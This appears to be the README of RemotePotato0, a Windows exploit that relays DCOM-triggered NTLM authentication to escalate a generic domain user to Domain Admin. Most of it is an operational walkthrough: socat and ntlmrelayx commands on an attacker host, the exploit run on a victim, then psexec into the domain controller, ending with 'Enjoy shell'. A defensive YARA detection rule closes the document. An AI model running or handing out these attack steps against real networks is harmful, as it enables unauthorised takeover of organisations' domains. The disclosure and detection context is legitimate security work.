Just another "Won't Fix" Windows Privilege Escalation from User to Domain Admin.
RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin.
Briefly:
It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine. It is required you have a shell in session 0 (e.g. WinRm shell or SSH shell) and that a privileged user is logged on in the session 1 (e.g. a Domain Admin user). Once the NTLM type1 is triggered we setup a cross protocol relay server that receive the privileged type1 message and relay it to a third resource by unpacking the RPC protocol and packing the authentication over HTTP. On the receiving end you can setup a further relay node (eg. ntlmrelayx) or relay directly to a privileged resource.
Full details at --> https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop
Example
Attacker machine (192.168.83.130):
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 &
sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Victim machine (192.168.83.131):
.\RemotePotato0.exe -r 192.168.83.130 -p 9998
Victim Domain Controller (192.168.83.135)
Enjoy shell (eg. psexec) as Enterprise Admin to the domain controller ;)
psexec.py 'SPLINTER/winrm_user_1:[email protected]'
Demo
Detection
Yara rule to detect RemotePotato0 binary:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}